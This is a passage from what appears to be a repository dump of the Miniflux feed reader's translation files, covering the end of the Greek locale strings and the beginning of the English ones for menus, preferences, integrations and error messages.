\"Κλειδί χρήστη Pushover\",\n    \"form.integration.raindrop_activate\": \"Αποθήκευση καταχωρήσεων στο Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Αναγνωριστικό συλλογής\",\n    \"form.integration.raindrop_tags\": \"Ετικέτες (διαχωρισμένες με κόμμα)\",\n    \"form.integration.raindrop_token\": \"Διακριτικό (Δοκιμή)\",\n    \"form.integration.readeck_activate\": \"Αποθήκευση άρθρων στο Readeck\",\n    \"form.integration.readeck_api_key\": \"Κλειδί API Readeck\",\n    \"form.integration.readeck_endpoint\": \"Τελικό σημείο Readeck API\",\n    \"form.integration.readeck_labels\": \"Ετικέτες Readeck\",\n    \"form.integration.readeck_only_url\": \"Αποστολή μόνο URL (αντί για πλήρες περιεχόμενο)\",\n    \"form.integration.readeck_push_activate\": \"Αυτόματη αποστολή νέων καταχωρήσεων στο Readeck\",\n    \"form.integration.readwise_activate\": \"Αποθήκευση καταχωρήσεων στο Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Διακριτικό πρόσβασης Readwise Reader\",\n    \"form.integration.readwise_api_key_link\": \"Λήψη του διακριτικού πρόσβασης Readwise\",\n    \"form.integration.rssbridge_activate\": \"Έλεγχος RSS-Bridge κατά την προσθήκη συνδρομών\",\n    \"form.integration.rssbridge_token\": \"Διακριτικό ελέγχου ταυτότητας RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"Διεύθυνση URL διακομιστή RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Αποθήκευση άρθρων στο Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Μυστικό API Shaarli\",\n    \"form.integration.shaarli_endpoint\": \"Διεύθυνση URL Shaarli\",\n    \"form.integration.shiori_activate\": \"Αποθήκευση άρθρων στο Shiori\",\n    \"form.integration.shiori_endpoint\": \"Τελικό σημείο Shiori\",\n    \"form.integration.shiori_password\": \"Κωδικός Πρόσβασης Shiori\",\n    \"form.integration.shiori_username\": \"Όνομα Χρήστη Shiori\",\n    \"form.integration.slack_activate\": \"Προώθηση καταχωρήσεων στο Slack\",\n    \"form.integration.slack_webhook_link\": \"Σύνδεσμος Webhook Slack\",\n    \"form.integration.telegram_bot_activate\": \"Προωθήστε νέα άρθρα στη συνομιλία Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Απενεργοποίηση κουμπιών\",\n    \"form.integration.telegram_bot_disable_notification\": \"Απενεργοποίηση ειδοποίησης\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Απενεργοποίηση προεπισκόπησης ιστοσελίδας\",\n    \"form.integration.telegram_bot_token\": \"Διακριτικό bot\",\n    \"form.integration.telegram_chat_id\": \"Αναγνωριστικό συνομιλίας\",\n    \"form.integration.telegram_topic_id\": \"Αναγνωριστικό θέματος\",\n    \"form.integration.wallabag_activate\": \"Αποθήκευση άρθρων στο Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Ταυτότητα πελάτη Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag Μυστικό Πελάτη\",\n    \"form.integration.wallabag_endpoint\": \"Βασική διεύθυνση URL Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Αποστολή μόνο URL (αντί για πλήρες περιεχόμενο)\",\n    \"form.integration.wallabag_password\": \"Wallabag Κωδικός Πρόσβασης\",\n    \"form.integration.wallabag_username\": \"Όνομα Χρήστη Wallabag\",\n    \"form.integration.wallabag_tags\": \"Ετικέτες Wallabag\",\n    \"form.integration.webhook_activate\": \"Ενεργοποίηση Webhooks\",\n    \"form.integration.webhook_secret\": \"Μυστικό Webhooks\",\n    \"form.integration.webhook_url\": \"Προεπιλεγμένη διεύθυνση URL Webhook\",\n    \"form.prefs.fieldset.application_settings\": \"Ρυθμίσεις εφαρμογής\",\n    \"form.prefs.fieldset.authentication_settings\": \"Ρυθμίσεις ελέγχου ταυτότητας\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Καθολικές ρυθμίσεις ροής\",\n    \"form.prefs.fieldset.reader_settings\": \"Ρυθμίσεις αναγνώστη\",\n    \"form.prefs.help.external_font_hosts\": \"Λίστα εξωτερικών κεντρικών υπολογιστών γραμματοσειρών διαχωρισμένων με κενό για να επιτρέπονται. Για παράδειγμα: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Ανάγνωση άρθρων ανοίγοντας εξωτερικούς συνδέσμους\",\n    \"form.prefs.label.categories_sorting_order\": \"Ταξινόμηση κατηγοριών\",\n    \"form.prefs.label.cjk_reading_speed\": \"Ταχύτητα ανάγνωσης για κινέζικα, κορεάτικα και ιαπωνικά (χαρακτήρες ανά λεπτό)\",\n    \"form.prefs.label.custom_css\": \"Προσαρμοσμένο CSS\",\n    \"form.prefs.label.custom_js\": \"Προσαρμοσμένο JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Προεπιλεγμένη αρχική σελίδα\",\n    \"form.prefs.label.default_reading_speed\": \"Ταχύτητα ανάγνωσης άλλων γλωσσών (λέξεις ανά λεπτό)\",\n    \"form.prefs.label.display_mode\": \"Λειτουργία προβολής προοδευτικής εφαρμογής Ιστού (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Καταχωρήσεις ανά σελίδα\",\n    \"form.prefs.label.entry_order\": \"Στήλη ταξινόμησης εισόδου\",\n    \"form.prefs.label.entry_sorting\": \"Ταξινόμηση\",\n    \"form.prefs.label.entry_swipe\": \"Ενεργοποιήστε το σάρωση καταχώρισης στις οθόνες αφής\",\n    \"form.prefs.label.external_font_hosts\": \"Εξωτερικοί κεντρικοί υπολογιστές γραμματοσειρών\",\n    \"form.prefs.label.gesture_nav\": \"Χειρονομία για πλοήγηση μεταξύ των καταχωρήσεων\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Ενεργοποίηση συντομεύσεων πληκτρολογίου\",\n    \"form.prefs.label.language\": \"Γλώσσα\",\n    \"form.prefs.label.mark_read_manually\": \"Σήμανση καταχωρήσεων ως αναγνωσμένων με μη αυτόματο τρόπο\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Σήμανση ως αναγνωσμένου μόνο όταν η αναπαραγωγή ήχου/βίντεο φτάσει το 90%% ολοκλήρωσης\",\n    \"form.prefs.label.mark_read_on_view\": \"Αυτόματη επισήμανση καταχωρήσεων ως αναγνωσμένων κατά την προβολή\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Σήμανση καταχωρήσεων ως αναγνωσμένων κατά την προβολή. Για ήχο/βίντεο, σήμανση ως αναγνωσμένου στο 90%% ολοκλήρωσης\",\n    \"form.prefs.label.media_playback_rate\": \"Ταχύτητα αναπαραγωγής του ήχου/βίντεο\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Άνοιγμα εξωτερικών συνδέσμων σε νέα καρτέλα (προσθέτει target=\\\"_blank\\\" στους συνδέσμους)\",\n    \"form.prefs.label.show_reading_time\": \"Εμφάνιση εκτιμώμενου χρόνου ανάγνωσης για άρθρα\",\n    \"form.prefs.label.theme\": \"Θέμα\",\n    \"form.prefs.label.timezone\": \"Ζώνη Ώρας\",\n    \"form.prefs.select.alphabetical\": \"Αλφαβητική σειρά\",\n    \"form.prefs.select.browser\": \"Περιηγητής\",\n    \"form.prefs.select.created_time\": \"Χρόνος δημιουργίας καταχώρησης\",\n    \"form.prefs.select.fullscreen\": \"Πλήρης οθόνη\",\n    \"form.prefs.select.minimal_ui\": \"Ελάχιστη\",\n    \"form.prefs.select.none\": \"Κανένας\",\n    \"form.prefs.select.older_first\": \"Παλαιότερες καταχωρήσεις πρώτα\",\n    \"form.prefs.select.publish_time\": \"Δημοσιευμένος χρόνος εισόδου\",\n    \"form.prefs.select.recent_first\": \"Πρόσφατες καταχωρήσεις πρώτα\",\n    \"form.prefs.select.standalone\": \"Μεμονωμένο\",\n    \"form.prefs.select.swipe\": \"Σουφρώνω\",\n    \"form.prefs.select.tap\": \"Διπλό χτύπημα\",\n    \"form.prefs.select.unread_count\": \"Αριθμός μη αναγνωσμένων\",\n    \"form.submit.loading\": \"Φόρτωση...\",\n    \"form.submit.saving\": \"Αποθήκευση...\",\n    \"form.user.label.admin\": \"Διαχειριστής\",\n    \"form.user.label.confirmation\": \"Επιβεβαίωση Κωδικού Πρόσβασης\",\n    \"form.user.label.password\": \"Κωδικός\",\n    \"form.user.label.username\": \"Χρήστης\",\n    \"menu.about\": \"Περί\",\n    \"menu.add_feed\": \"Προσθήκη συνδρομής\",\n    \"menu.add_user\": \"Προσθήκη χρήστη\",\n    \"menu.api_keys\": \"Κλειδιά API\",\n    \"menu.categories\": \"Κατηγορίες\",\n    \"menu.create_api_key\": \"Δημιουργήστε ένα νέο κλειδί API\",\n    \"menu.create_category\": \"Δημιουργήστε μια κατηγορία\",\n    \"menu.edit_category\": \"Επεξεργασία\",\n    \"menu.edit_feed\": \"Επεξεργασία\",\n    \"menu.export\": \"Εξαγωγή\",\n    \"menu.feed_entries\": \"Καταχωρήσεις\",\n    \"menu.feeds\": \"Ροές\",\n    \"menu.flush_history\": \"Εκκαθάριση ιστορικού\",\n    \"menu.history\": \"Ιστορικό\",\n    \"menu.home_page\": \"Αρχική σελίδα\",\n    \"menu.import\": \"Εισαγωγή\",\n    \"menu.integrations\": \"Ενσωμάτωσεις\",\n    \"menu.logout\": \"Αποσύνδεση\",\n    \"menu.mark_all_as_read\": \"Σημείωση όλων ως αναγνωσμένα\",\n    \"menu.mark_page_as_read\": \"Σημείωση αυτής της σελίδας ως αναγνωσμένη\",\n    \"menu.preferences\": \"Προτιμήσεις\",\n    \"menu.refresh_all_feeds\": \"Ανανέωση όλων των ροών στο παρασκήνιο\",\n    \"menu.refresh_feed\": \"Ανανέωση\",\n    \"menu.search\": \"Αναζήτηση\",\n    \"menu.sessions\": \"Συνδέσεις\",\n    \"menu.settings\": \"Ρυθμίσεις\",\n    \"menu.shared_entries\": \"Κοινόχρηστες καταχωρήσεις\",\n    \"menu.show_all_entries\": \"Εμφάνιση όλων των καταχωρήσεων\",\n    \"menu.show_only_starred_entries\": \"Εμφάνιση μόνο αγαπημένων καταχωρήσεων\",\n    \"menu.show_only_unread_entries\": \"Εμφάνιση μόνο μη αναγνωσμένων καταχωρήσεων\",\n    \"menu.starred\": \"Αγαπημένα\",\n    \"menu.title\": \"Μενού\",\n    \"menu.unread\": \"Μη αναγνωσμένα\",\n    \"menu.users\": \"Χρήστες\",\n    \"page.about.author\": \"Συγγραφέας:\",\n    \"page.about.build_date\": \"Ημερομηνία Κατασκευής:\",\n    \"page.about.credits\": \"Συνεισφέροντες\",\n    \"page.about.db_usage\": \"Μέγεθος βάσης δεδομένων:\",\n    \"page.about.git_commit\": \"Υποβολή Git:\",\n    \"page.about.global_config_options\": \"Γενικές ρυθμίσεις\",\n    \"page.about.go_version\": \"Έκδοση Go:\",\n    \"page.about.license\": \"Άδεια:\",\n    \"page.about.postgres_version\": \"Έκδοση Postgres:\",\n    \"page.about.title\": \"Περί\",\n    \"page.about.version\": \"Έκδοση:\",\n    \"page.add_feed.choose_feed\": \"Επιλέξτε μια συνδρομή\",\n    \"page.add_feed.label.url\": \"Διεύθυνση URL\",\n    \"page.add_feed.legend.advanced_options\": \"Προχωρημένες Επιλογές\",\n    \"page.add_feed.no_category\": \"Δεν υπάρχει κατηγορία. Πρέπει να έχετε τουλάχιστον μία κατηγορία.\",\n    \"page.add_feed.submit\": \"Βρείτε μια συνδρομή\",\n    \"page.add_feed.title\": \"Νέα Συνδρομή\",\n    \"page.api_keys.never_used\": \"Δεν έχει χρησιμοποιηθεί ποτέ\",\n    \"page.api_keys.table.actions\": \"Eνέργειες\",\n    \"page.api_keys.table.created_at\": \"Ημερομηνία Δημιουργίας\",\n    \"page.api_keys.table.description\": \"Περιγραφή\",\n    \"page.api_keys.table.last_used_at\": \"Τελευταία Χρήση\",\n    \"page.api_keys.table.token\": \"Διακριτικό\",\n    \"page.api_keys.title\": \"Κλειδιά API\",\n    \"page.categories.entries\": \"Άρθρα\",\n    \"page.categories.feed_count\": [\n        \"Υπάρχει μία %d ροή.\",\n        \"Υπάρχουν %d ροές.\"\n    ],\n    \"page.categories.feeds\": \"Συνδρομές\",\n    \"page.categories.no_feed\": \"Καμία ροή.\",\n    \"page.categories.title\": \"Κατηγορίες\",\n    \"page.categories_count\": [\n        \"%d κατηγορία\",\n        \"%d κατηγορίες\"\n    ],\n    \"page.category_label\": \"Κατηγορία: %s\",\n    \"page.edit_category.title\": \"Επεξεργασία κατηγορίας: % s\",\n    \"page.edit_feed.etag_header\": \"Κεφαλίδα ETag:\",\n    \"page.edit_feed.last_check\": \"Τελευταίος έλεγχος:\",\n    \"page.edit_feed.last_modified_header\": \"LastModified κεφαλίδα:\",\n    \"page.edit_feed.last_parsing_error\": \"Τελευταίο Σφάλμα Ανάλυσης\",\n    \"page.edit_feed.no_header\": \"Καμία\",\n    \"page.edit_feed.title\": \"Επεξεργασία ροής: % s\",\n    \"page.edit_user.title\": \"Επεξεργασία χρήστη: % s\",\n    \"page.entry.attachments\": \"Συνημμένα\",\n    \"page.feeds.error_count\": [\n        \"%d σφάλμα\",\n        \"%d σφάλματα\"\n    ],\n    \"page.feeds.last_check\": \"Τελευταίος έλεγχος:\",\n    \"page.feeds.next_check\": \"Επόμενος έλεγχος:\",\n    \"page.feeds.read_counter\": \"Αριθμός αναγνωσμένων καταχωρήσεων\",\n    \"page.feeds.title\": \"Ροές\",\n    \"page.footer.elevator\": \"Επιστροφή στην κορυφή\",\n    \"page.history.title\": \"Ιστορικό\",\n    \"page.import.title\": \"Εισαγωγή\",\n    \"page.integration.bookmarklet\": \"Σελιδοδείκτης (bookmarklet)\",\n    \"page.integration.bookmarklet.help\": \"Αυτός ο ειδικός σύνδεσμος σάς επιτρέπει να εγγραφείτε απευθείας σε έναν ιστότοπο χρησιμοποιώντας ένα σελιδοδείκτη στο πρόγραμμα περιήγησης ιστού σας.\",\n    \"page.integration.bookmarklet.instructions\": \"Σύρετε και αποθέστε αυτόν τον σύνδεσμο στους σελιδοδείκτες σας.\",\n    \"page.integration.bookmarklet.name\": \"Προσθήκη στο Miniflux\",\n    \"page.integration.miniflux_api\": \"API του Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Τελικό σημείο API\",\n    \"page.integration.miniflux_api_password\": \"Κωδικός\",\n    \"page.integration.miniflux_api_password_value\": \"Ο κωδικός πρόσβασης του λογαριασμού σας\",\n    \"page.integration.miniflux_api_username\": \"Χρήστης\",\n    \"page.integrations.title\": \"Ενσωμάτωση\",\n    \"page.keyboard_shortcuts.close_modal\": \"Κλείσιμο παραθύρου διαλόγου\",\n    \"page.keyboard_shortcuts.download_content\": \"Κατεβάστε το αρχικό περιεχόμενο\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Μετάβαση στο κάτω στοιχείο\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Μεταβείτε στις κατηγορίες\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Πηγαίνετε στη ροή\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Μεταβείτε στις ροές\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Μεταβείτε στο ιστορικό\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Μετάβαση στο επόμενο στοιχείο\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Μετάβαση στην επόμενη σελίδα\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Μεταβείτε στο προηγούμενο στοιχείο\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Μετάβαση στην προηγούμενη σελίδα\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Ορίστε εστίαση στη φόρμα αναζήτησης\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Μεταβείτε στις ρυθμίσεις\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Μεταβείτε στους σελιδοδείκτες\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Μετάβαση στο επάνω στοιχείο\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Μεταβείτε στα μη αναγνωσμένα\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Σημείωση της τρέχουσας σελίδας ως αναγνωσμένη\",\n    \"page.keyboard_shortcuts.open_comments\": \"Άνοιγμα συνδέσμου σχολίων\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Άνοιγμα συνδέσμου σχολίων στην τρέχουσα καρτέλα\",\n    \"page.keyboard_shortcuts.open_item\": \"Άνοιγμα επιλεγμένου στοιχείου\",\n    \"page.keyboard_shortcuts.open_original\": \"Άνοιγμα αρχικού συνδέσμου\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Άνοιγμα αρχικού συνδέσμου στην τρέχουσα καρτέλα\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Ανανέωση όλων των ροών στο παρασκήνιο\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Κατάργηση αυτής της ροής\",\n    \"page.keyboard_shortcuts.save_article\": \"Αποθήκευση άρθρου\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Μετακινηση στοιχείου στην κορυφή\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Εμφάνιση συντομεύσεων πληκτρολογίου\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Ενέργειες\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Πλοήγηση Στοιχείων\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Πλοήγηση Σελίδων\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Πλοήγηση Τμημάτων\",\n    \"page.keyboard_shortcuts.title\": \"Συντομεύσεις Πληκτρολογίου\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Εναλλαγή σελιδοδείκτη\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Εναλλαγή άνοιγμα/κλείσιμο συνημμένων καταχώρησης\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Εναλλαγή ανάγνωσης / μη αναγνωσμένης, εστίαση στη συνέχεια\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Εναλλαγή ανάγνωσης / μη αναγνωσμένης, εστίαση στο προηγούμενο\",\n    \"page.login.google_signin\": \"Συνδεθείτε με τo Google\",\n    \"page.login.oidc_signin\": \"Συνδεθείτε με το %s\",\n    \"page.login.title\": \"Είσοδος\",\n    \"page.login.webauthn_login\": \"Είσοδος με κωδικό πρόσβασης\",\n    \"page.login.webauthn_login.error\": \"Δεν είναι δυνατή η σύνδεση με κωδικό πρόσβασης\",\n    \"page.login.webauthn_login.help\": \"Παρακαλώ εισαγάγετε το όνομα χρήστη σας εάν χρησιμοποιείτε κλειδί ασφαλείας. Αυτό δεν απαιτείται εάν χρησιμοποιείτε Passkey (ανακαλύψιμα διαπιστευτήρια).\",\n    \"page.new_api_key.title\": \"Νέο κλειδί API\",\n    \"page.new_category.title\": \"Νέα Κατηγορία\",\n    \"page.new_user.title\": \"Νέος Χρήστης\",\n    \"page.offline.message\": \"Είστε εκτός σύνδεσης\",\n    \"page.offline.refresh_page\": \"Προσπαθήστε να ανανεώσετε τη σελίδα\",\n    \"page.offline.title\": \"Λειτουργία Εκτός Σύνδεσης\",\n    \"page.read_entry_count\": [\n        \"%d αναγνωσμένη καταχώρηση\",\n        \"%d αναγνωσμένες καταχωρήσεις\"\n    ],\n    \"page.search.title\": \"Αποτελέσματα Αναζήτησης\",\n    \"page.sessions.table.actions\": \"Eνέργειες\",\n    \"page.sessions.table.current_session\": \"Τρέχουσα Συνεδρία\",\n    \"page.sessions.table.date\": \"Ημερομηνία\",\n    \"page.sessions.table.ip\": \"Διεύθυνση IP\",\n    \"page.sessions.table.user_agent\": \"Πρόγραμμα περιήγησης (User Agent)\",\n    \"page.sessions.title\": \"Συνεδρίες\",\n    \"page.settings.link_google_account\": \"Σύνδεση του λογαριασμό μου Google\",\n    \"page.settings.link_oidc_account\": \"Σύνδεση του λογαριασμού μου %s\",\n    \"page.settings.title\": \"Ρυθμίσεις\",\n    \"page.settings.unlink_google_account\": \"Αποσύνδεση του λογαριασμού μου Google\",\n    \"page.settings.unlink_oidc_account\": \"Αποσύνδεση του λογαριασμού μου %s\",\n    \"page.settings.webauthn.actions\": \"Ενέργειες\",\n    \"page.settings.webauthn.added_on\": \"Προστέθηκε στις\",\n    \"page.settings.webauthn.delete\": [\n        \"Κατάργηση %d κωδικού πρόσβασης\",\n        \"Κατάργηση %d κωδικών πρόσβασης\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Τελευταία χρήση\",\n    \"page.settings.webauthn.passkey_name\": \"Όνομα κωδικού πρόσβασης\",\n    \"page.settings.webauthn.passkeys\": \"Κωδικοί πρόσβασης\",\n    \"page.settings.webauthn.register\": \"Εγγραφή κωδικού πρόσβασης\",\n    \"page.settings.webauthn.register.error\": \"Δεν είναι δυνατή η εγγραφή του κωδικού πρόσβασης\",\n    \"page.shared_entries.title\": \"Κοινόχρηστες Καταχωρήσεις\",\n    \"page.shared_entries_count\": [\n        \"%d κοινόχρηστη καταχώρηση\",\n        \"%d κοινόχρηστες καταχωρήσεις\"\n    ],\n    \"page.starred.title\": \"Αγαπημένo\",\n    \"page.starred_entry_count\": [\n        \"%d καταχώρηση με αστέρι\",\n        \"%d καταχωρήσεις με αστέρι\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d καταχώρηση συνολικά\",\n        \"%d καταχωρήσεις συνολικά\"\n    ],\n    \"page.unread.title\": \"Μη αναγνωσμένα\",\n    \"page.unread_entry_count\": [\n        \"%d μη αναγνωσμένη καταχώρηση\",\n        \"%d μη αναγνωσμένες καταχωρήσεις\"\n    ],\n    \"page.users.actions\": \"Eνέργειες\",\n    \"page.users.admin.no\": \"Όχι\",\n    \"page.users.admin.yes\": \"Ναι.\",\n    \"page.users.is_admin\": \"Διαχειριστής\",\n    \"page.users.last_login\": \"Τελευταία Σύνδεση\",\n    \"page.users.never_logged\": \"Ποτέ\",\n    \"page.users.title\": \"Χρήστες\",\n    \"page.users.username\": \"Χρήστης\",\n    \"page.webauthn_rename.title\": \"Μετονομασία κωδικού πρόσβασης\",\n    \"pagination.first\": \"Πρώτο\",\n    \"pagination.last\": \"Τελευταίο\",\n    \"pagination.next\": \"Επόμενη\",\n    \"pagination.previous\": \"Προηγούμενη\",\n    \"search.label\": \"Αναζήτηση\",\n    \"search.placeholder\": \"Αναζήτηση...\",\n    \"search.submit\": \"Αναζήτηση\",\n    \"skip_to_content\": \"Μετάβαση στο περιεχόμενο\",\n    \"time_elapsed.days\": [\n        \"πριν %d ημέρα\",\n        \"πριν %d ημέρες\"\n    ],\n    \"time_elapsed.hours\": [\n        \"πριν %d ώρα\",\n        \"πριν %d ώρες\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"πριν %d λεπτό\",\n        \"πριν %d λεπτά\"\n    ],\n    \"time_elapsed.months\": [\n        \"πριν %d μήνα\",\n        \"πριν %d μήνες\"\n    ],\n    \"time_elapsed.not_yet\": \"όχι ακόμα.\",\n    \"time_elapsed.now\": \"μόλις τώρα\",\n    \"time_elapsed.weeks\": [\n        \"πριν %d εβδομάδα\",\n        \"πριν %d εβδομάδες\"\n    ],\n    \"time_elapsed.years\": [\n        \"πριν %d έτος\",\n        \"πριν %d έτη\"\n    ],\n    \"time_elapsed.yesterday\": \"χθες\",\n    \"tooltip.keyboard_shortcuts\": \"Συντόμευση πληκτρολογίου: % s\",\n    \"tooltip.logged_user\": \"Συνδεδεμένος/η ως %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/en_US.json",
    "content": "{\n    \"action.cancel\": \"cancel\",\n    \"action.download\": \"Download\",\n    \"action.edit\": \"Edit\",\n    \"action.home_screen\": \"Add to home screen\",\n    \"action.import\": \"Import\",\n    \"action.login\": \"Login\",\n    \"action.or\": \"or\",\n    \"action.remove\": \"Remove\",\n    \"action.remove_feed\": \"Remove this feed\",\n    \"action.save\": \"Save\",\n    \"action.subscribe\": \"Subscribe\",\n    \"action.update\": \"Update\",\n    \"alert.account_linked\": \"Your external account is now linked!\",\n    \"alert.account_unlinked\": \"Your external account is now dissociated!\",\n    \"alert.background_feed_refresh\": \"All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.\",\n    \"alert.feed_error\": \"There is a problem with this feed\",\n    \"alert.no_starred\": \"There are no starred entries.\",\n    \"alert.no_category\": \"There is no category.\",\n    \"alert.no_category_entry\": \"There are no entries in this category.\",\n    \"alert.no_feed\": \"You don’t have any feeds.\",\n    \"alert.no_feed_entry\": \"There are no entries for this feed.\",\n    \"alert.no_feed_in_category\": \"There is no feed for this category.\",\n    \"alert.no_history\": \"There is no history at the moment.\",\n    \"alert.no_search_result\": \"There are no results for this search.\",\n    \"alert.no_shared_entry\": \"There is no shared entry.\",\n    \"alert.no_tag_entry\": \"There are no entries matching this tag.\",\n    \"alert.no_unread_entry\": \"There are no unread entries.\",\n    \"alert.no_user\": \"You are the only user.\",\n    \"alert.prefs_saved\": \"Preferences saved!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"You have triggered too many feed refreshes. Please wait %d minute before trying again.\",\n        \"You have triggered too many feed refreshes. Please wait %d minutes before trying again.\"\n    ],\n    \"confirm.loading\": \"In progress…\",\n    \"confirm.no\": \"no\",\n    \"confirm.question\": \"Are you sure?\",\n    \"confirm.question.refresh\": \"Are you sure you want to force refresh?\",\n    \"confirm.yes\": \"yes\",\n    \"enclosure_media_controls.seek\": \"Seek:\",\n    \"enclosure_media_controls.seek.title\": \"Seek %s seconds\",\n    \"enclosure_media_controls.speed\": \"Speed:\",\n    \"enclosure_media_controls.speed.faster\": \"Faster\",\n    \"enclosure_media_controls.speed.faster.title\": \"Faster by %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Reset\",\n    \"enclosure_media_controls.speed.reset.title\": \"Reset speed to 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Slower\",\n    \"enclosure_media_controls.speed.slower.title\": \"Slower by %sx\",\n    \"entry.starred.toast.off\": \"Unstarred\",\n    \"entry.starred.toast.on\": \"Starred\",\n    \"entry.starred.toggle.off\": \"Unstar\",\n    \"entry.starred.toggle.on\": \"Star\",\n    \"entry.comments.label\": \"Comments\",\n    \"entry.comments.title\": \"View Comments\",\n    \"entry.estimated_reading_time\": [\n        \"%d minute read\",\n        \"%d minutes read\"\n    ],\n    \"entry.external_link.label\": \"External link\",\n    \"entry.save.completed\": \"Done!\",\n    \"entry.save.label\": \"Save\",\n    \"entry.save.title\": \"Save this entry\",\n    \"entry.save.toast.completed\": \"Entry saved\",\n    \"entry.scraper.completed\": \"Done!\",\n    \"entry.scraper.label\": \"Download\",\n    \"entry.scraper.title\": \"Fetch original content\",\n    \"entry.share.label\": \"Share\",\n    \"entry.share.title\": \"Share this entry\",\n    \"entry.shared_entry.label\": \"Share\",\n    \"entry.shared_entry.title\": \"Open the public link\",\n    \"entry.state.loading\": \"Loading…\",\n    \"entry.state.saving\": \"Saving…\",\n    \"entry.status.mark_as_read\": \"Mark as read\",\n    \"entry.status.mark_as_unread\": \"Mark as unread\",\n    \"entry.status.title\": \"Change entry status\",\n    \"entry.status.toast.read\": \"Marked as read\",\n    \"entry.status.toast.unread\": \"Marked as unread\",\n    \"entry.tags.label\": \"Tags:\",\n    \"entry.tags.more_tags_label\": [\n        \"Show %d more tag\",\n        \"Show %d more tags\"\n    ],\n    \"entry.unshare.label\": \"Unshare\",\n    \"error.api_key_already_exists\": \"This API Key already exists.\",\n    \"error.bad_credentials\": \"Invalid username or password.\",\n    \"error.category_already_exists\": \"This category already exists.\",\n    \"error.category_not_found\": \"This category does not exist or does not belong to this user.\",\n    \"error.database_error\": \"Database error: %v.\",\n    \"error.different_passwords\": \"Passwords are not the same.\",\n    \"error.duplicate_fever_username\": \"There is already someone else with the same Fever username!\",\n    \"error.duplicate_googlereader_username\": \"There is already someone else with the same Google Reader username!\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token and Organization Slug are required\",\n    \"error.duplicate_linked_account\": \"There is already someone associated with this provider!\",\n    \"error.duplicated_feed\": \"This feed already exists.\",\n    \"error.empty_file\": \"This file is empty.\",\n    \"error.entries_per_page_invalid\": \"The number of entries per page is not valid.\",\n    \"error.feed_already_exists\": \"This feed already exists.\",\n    \"error.feed_category_not_found\": \"This category does not exist or does not belong to this user.\",\n    \"error.feed_format_not_detected\": \"Unable to detect feed format: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"The block list rule is invalid.\",\n    \"error.feed_invalid_keeplist_rule\": \"The keep list rule is invalid.\",\n    \"error.feed_mandatory_fields\": \"The URL and the category are mandatory.\",\n    \"error.feed_not_found\": \"This feed does not exist or does not belong to this user.\",\n    \"error.feed_title_not_empty\": \"The feed title cannot be empty.\",\n    \"error.feed_url_not_empty\": \"The feed URL cannot be empty.\",\n    \"error.fields_mandatory\": \"All fields are mandatory.\",\n    \"error.http_bad_gateway\": \"The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.\",\n    \"error.http_body_read\": \"Unable to read the HTTP body: %v.\",\n    \"error.http_client_error\": \"HTTP client error: %v.\",\n    \"error.http_empty_response\": \"The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?\",\n    \"error.http_empty_response_body\": \"The HTTP response body is empty.\",\n    \"error.http_forbidden\": \"Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?\",\n    \"error.http_gateway_timeout\": \"The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.\",\n    \"error.http_internal_server_error\": \"The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.\",\n    